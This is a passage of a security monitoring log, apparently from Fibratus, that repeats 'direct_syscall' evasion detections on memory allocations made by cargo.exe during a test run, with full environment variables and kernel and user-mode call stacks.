VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.1455801 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ dc92eea000, exeâžœ C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 6516, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 6516 + Ppid: 15532 + Name: cargo.exe + Parent name: cargo.exe + Cmdline: "C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test + Parent cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Exe: C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CARGO_HOME:C:\Users\nedo\.cargo COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LD_LIBRARY_PATH:C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin;C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files RUSTUP_HOME:C:\Users\nedo\.rustup RUSTUP_TOOLCHAIN:stable-x86_64-pc-windows-msvc RUST_RECURSION_COUNT:1 SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff681ca2d47 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff680826356 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_libgit2_prerelease|0x7ff68080589f C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff680803b75 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807e920c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807be1f6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807d6fdc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff681c50f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff68087b78c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681ca2f7c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:00+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 904983 + Pid: 6516 + Tid: 10420 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.1455925 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ dc92ee9000, exeâžœ C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 6516, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 6516 + Ppid: 15532 + Name: cargo.exe + Parent name: cargo.exe + Cmdline: "C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test + Parent cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Exe: C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CARGO_HOME:C:\Users\nedo\.cargo COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LD_LIBRARY_PATH:C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin;C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files RUSTUP_HOME:C:\Users\nedo\.rustup RUSTUP_TOOLCHAIN:stable-x86_64-pc-windows-msvc RUST_RECURSION_COUNT:1 SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff681c5c6c1 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff681ccf4f5 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff681d1f5e4 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff6813bbf90 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_odb_object_id|0x7ff68082659c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_libgit2_prerelease|0x7ff68080589f C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff680803b75 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807e920c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807be1f6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807d6fdc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff681c50f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff68087b78c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681ca2f7c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:00+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 904990 + Pid: 6516 + Tid: 10420 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.1460306 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ dc92ee8000, exeâžœ C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 6516, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 6516 + Ppid: 15532 + Name: cargo.exe + Parent name: cargo.exe + Cmdline: "C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test + Parent cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Exe: 